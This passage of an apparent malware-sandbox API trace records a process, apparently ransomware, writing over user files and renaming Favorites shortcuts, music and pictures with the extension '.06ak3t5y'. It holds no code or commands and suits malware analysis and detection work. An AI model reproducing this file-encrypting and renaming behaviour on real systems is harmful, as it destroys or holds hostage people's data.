lpNumberOfBytesWritten=0x0, lpOverlapped=0x55ee8b0) returned 0x0 [0113.847] RtlGetLastWin32Error () returned 0x3e5 [0113.847] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.848] WriteFile (in: hFile=0x560, lpBuffer=0x5601410, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x56013e8 | out: lpBuffer=0x5601410, lpNumberOfBytesWritten=0x0, lpOverlapped=0x56013e8) returned 0x0 [0113.848] RtlGetLastWin32Error () returned 0x3e5 [0113.848] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.848] WriteFile (in: hFile=0x564, lpBuffer=0x56126e8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x56126c0 | out: lpBuffer=0x56126e8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x56126c0) returned 0x0 [0113.848] RtlGetLastWin32Error () returned 0x3e5 [0113.848] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.848] WriteFile (in: hFile=0x568, lpBuffer=0x56143b0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5614388 | out: lpBuffer=0x56143b0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x5614388) returned 0x0 [0113.848] RtlGetLastWin32Error () returned 0x3e5 [0113.848] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.848] WriteFile (in: hFile=0x56c, lpBuffer=0x5617700, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x56176d8 | out: lpBuffer=0x5617700, lpNumberOfBytesWritten=0x0, lpOverlapped=0x56176d8) returned 0x0 [0113.849] RtlGetLastWin32Error () returned 0x3e5 [0113.849] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.849] WriteFile (in: hFile=0x570, lpBuffer=0x562b728, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x562b700 | out: lpBuffer=0x562b728, lpNumberOfBytesWritten=0x0, lpOverlapped=0x562b700) returned 0x0 [0113.849] RtlGetLastWin32Error () returned 0x3e5 [0113.849] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.849] CloseHandle (hObject=0x40c) returned 1 [0113.850] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x10e) returned 0x2086fa8 [0113.850] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\Microsoft Store.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\microsoft store.url.06ak3t5y")) returned 1 [0113.851] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.851] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2078298) returned 1 [0113.851] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4796dc0) returned 1 [0113.853] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.853] CloseHandle (hObject=0x410) returned 1 [0113.854] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf6) returned 0x2099090 [0113.854] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn autos.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Autos.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn autos.url.06ak3t5y")) returned 1 [0113.855] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.855] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36a0c80) returned 1 [0113.855] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4796fa0) returned 1 [0113.855] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.855] CloseHandle (hObject=0x414) returned 1 [0113.856] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x106) returned 0x2086fa8 [0113.856] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Entertainment.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn entertainment.url.06ak3t5y")) returned 1 [0113.857] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.857] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9900) returned 1 [0113.857] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4797180) returned 1 [0113.857] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.857] CloseHandle (hObject=0x418) returned 1 [0113.858] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf6) returned 0x2099090 [0113.858] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn money.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Money.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn money.url.06ak3t5y")) returned 1 [0113.859] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.859] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36a0c00) returned 1 [0113.859] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4797360) returned 1 [0113.859] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.859] CloseHandle (hObject=0x320) returned 1 [0113.861] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf8) returned 0x2099090 [0113.861] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn sports.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Sports.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn sports.url.06ak3t5y")) returned 1 [0113.861] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.861] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367ac60) returned 1 [0113.861] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e7d0) returned 1 [0113.862] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.862] CloseHandle (hObject=0x338) returned 1 [0113.862] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xea) returned 0x207d648 [0113.863] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn.url.06ak3t5y")) returned 1 [0113.863] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0113.863] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee5a8) returned 1 [0113.863] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e9b0) returned 1 [0113.863] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.863] CloseHandle (hObject=0x334) returned 1 [0113.864] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf8) returned 0x2099090 [0113.864] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSNBC News.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msnbc news.url.06ak3t5y")) returned 1 [0113.865] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.865] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367ace8) returned 1 [0113.865] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397eb90) returned 1 [0113.865] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.865] CloseHandle (hObject=0x330) returned 1 [0113.866] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x104) returned 0x2086fa8 [0113.866] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\get windows live.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Get Windows Live.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\get windows live.url.06ak3t5y")) returned 1 [0113.867] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.867] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9990) returned 1 [0113.867] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397ed70) returned 1 [0113.867] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.867] CloseHandle (hObject=0x33c) returned 1 [0113.868] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x10c) returned 0x2086fa8 [0113.868] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Windows Live Gallery.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\windows live gallery.url.06ak3t5y")) returned 1 [0113.868] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.868] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2078330) returned 1 [0113.869] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397ef50) returned 1 [0113.869] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.869] CloseHandle (hObject=0x344) returned 1 [0113.869] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x106) returned 0x2086fa8 [0113.869] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\windows live mail.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Windows Live Mail.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\windows live mail.url.06ak3t5y")) returned 1 [0113.870] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.870] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9a20) returned 1 [0113.870] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397f130) returned 1 [0113.870] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.870] CloseHandle (hObject=0x348) returned 1 [0113.871] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x10a) returned 0x2086fa8 [0113.871] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Windows Live Spaces.url.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\windows live spaces.url.06ak3t5y")) returned 1 [0113.872] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.872] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20783c8) returned 1 [0113.872] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397f310) returned 1 [0113.872] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.872] CloseHandle (hObject=0x32c) returned 1 [0113.874] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xfa) returned 0x366cb60 [0113.874] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\bjOydzw.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\bjoydzw.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\bjOydzw.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\bjoydzw.mp3.06ak3t5y")) returned 1 [0113.874] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x366cb60) returned 1 [0113.874] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367ad70) returned 1 [0113.875] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3925530) returned 1 [0113.875] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.875] CloseHandle (hObject=0x328) returned 1 [0113.877] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xfc) returned 0x366cb60 [0113.877] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\oCfLIu3p.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\ocfliu3p.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\oCfLIu3p.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\ocfliu3p.mp3.06ak3t5y")) returned 1 [0113.877] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x366cb60) returned 1 [0113.877] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367adf8) returned 1 [0113.878] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x393e610) returned 1 [0113.881] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.881] CloseHandle (hObject=0x318) returned 1 [0113.883] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x100) returned 0x366cb60 [0113.883] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\rPi6ROENBl.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\rpi6roenbl.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\rPi6ROENBl.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\rpi6roenbl.mp3.06ak3t5y")) returned 1 [0113.884] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x366cb60) returned 1 [0113.884] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9b40) returned 1 [0113.884] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x394ffe0) returned 1 [0113.885] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.885] CloseHandle (hObject=0x314) returned 1 [0113.887] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xfe) returned 0x366cb60 [0113.887] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\SsOycCq2y.wav" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\ssoyccq2y.wav"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\SsOycCq2y.wav.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\ssoyccq2y.wav.06ak3t5y")) returned 1 [0113.887] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x366cb60) returned 1 [0113.887] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367ae80) returned 1 [0113.887] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3964418) returned 1 [0113.888] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.888] CloseHandle (hObject=0x310) returned 1 [0113.889] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x10c) returned 0x2086fa8 [0113.889] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\z-ZcHxTcO3xPAhZK.wav" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\z-zchxtco3xpahzk.wav"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\z-ZcHxTcO3xPAhZK.wav.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\z-zchxtco3xpahzk.wav.06ak3t5y")) returned 1 [0113.892] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0113.892] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2078460) returned 1 [0113.892] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x4797540) returned 1 [0113.896] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.896] CloseHandle (hObject=0x30c) returned 1 [0113.898] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xfa) returned 0x366cb60 [0113.898] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\zZYA2Sg.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\zzya2sg.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\zZYA2Sg.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\zzya2sg.mp3.06ak3t5y")) returned 1 [0113.899] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x366cb60) returned 1 [0113.899] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367af08) returned 1 [0113.899] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44a0048) returned 1 [0113.899] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.899] CloseHandle (hObject=0x308) returned 1 [0113.901] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf4) returned 0x2099090 [0113.901] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\SdfXT.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\sdfxt.m4a"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\SdfXT.m4a.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\sdfxt.m4a.06ak3t5y")) returned 1 [0113.902] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2099090) returned 1 [0113.902] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x369f580) returned 1 [0113.902] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3880590) returned 1 [0113.906] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.906] CloseHandle (hObject=0x304) returned 1 [0113.908] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xfc) returned 0x366cb60 [0113.908] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\-a8C ZzQY9ibDt.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\-a8c zzqy9ibdt.bmp"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\-a8C ZzQY9ibDt.bmp.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\-a8c zzqy9ibdt.bmp.06ak3t5y")) returned 1 [0113.909] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x366cb60) returned 1 [0113.909] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367b018) returned 1 [0113.909] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44b5f98) returned 1 [0113.909] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0113.909] CloseHandle (hObject=0x300) returned 1 [0113.911] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xf6) returned 0x2099090 [0113.911] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\2pIHl6dW1Tj.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\2pihl6dw1tj.png"), 